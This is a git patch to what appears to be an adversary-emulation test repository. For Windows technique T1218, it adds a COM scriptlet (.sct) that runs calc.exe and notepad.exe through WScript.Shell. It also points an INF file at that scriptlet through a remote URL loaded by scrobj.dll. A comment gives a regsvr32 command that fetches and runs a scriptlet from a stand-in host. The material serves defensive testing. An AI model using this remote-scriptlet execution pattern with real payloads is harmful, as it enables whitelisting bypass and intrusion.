From 716f12ec4d4167a0eaeb8c6c7eb2585947f3eb67 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <clr2of8@gmail.com>
Date: Wed, 7 Sep 2022 06:57:28 -0500
Subject: [PATCH] move sct into RC repo (#2124)

* put test.sct into rc repo

from https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct

* use payload from rc repo

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
---
 atomics/T1218/src/ieuinit.inf |  2 +-
 atomics/T1218/src/test.sct    | 44 +++++++++++++++++++++++++++++++++++
 2 files changed, 45 insertions(+), 1 deletion(-)
 create mode 100644 atomics/T1218/src/test.sct

diff --git a/atomics/T1218/src/ieuinit.inf b/atomics/T1218/src/ieuinit.inf
index c89842df..00047d17 100644
--- a/atomics/T1218/src/ieuinit.inf
+++ b/atomics/T1218/src/ieuinit.inf
@@ -6,4 +6,4 @@ AdvancedINF=2.0
 UnRegisterOCXs=FunRun
 
 [FunRun]
-%11%\scrobj.dll,NI,https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct
\ No newline at end of file
+%11%\scrobj.dll,NI,https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/test.sct
diff --git a/atomics/T1218/src/test.sct b/atomics/T1218/src/test.sct
new file mode 100644
index 00000000..484e617a
--- /dev/null
+++ b/atomics/T1218/src/test.sct
@@ -0,0 +1,44 @@
+<?XML version="1.0"?>
+<scriptlet>
+
+<registration
+    description="Bandit"
+    progid="Bandit"
+    version="1.00"
+    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
+	>
+
+	<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
+	<!-- DFIR -->
+	<!--		.sct files are downloaded and executed from a path like this -->
+	<!-- Though, the name and extension are arbitary.. -->
+	<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
+	<!-- Based on current research, no registry keys are written, since call "uninstall" -->
+
+
+	<!-- Proof Of Concept - Casey Smith @subTee --> 
+        <!-- @RedCanary - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/atomic-dev-cs/Windows/Payloads/mshta.sct -->
+	<script language="JScript">
+		<![CDATA[
+
+			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
+
+		]]>
+	</script>
+</registration>
+
+<public>
+    <method name="Exec"></method>
+</public>
+<script language="JScript">
+<![CDATA[
+
+	function Exec()
+	{
+		var r = new ActiveXObject("WScript.Shell").Run("notepad.exe");
+	}
+
+]]>
+</script>
+
+</scriptlet>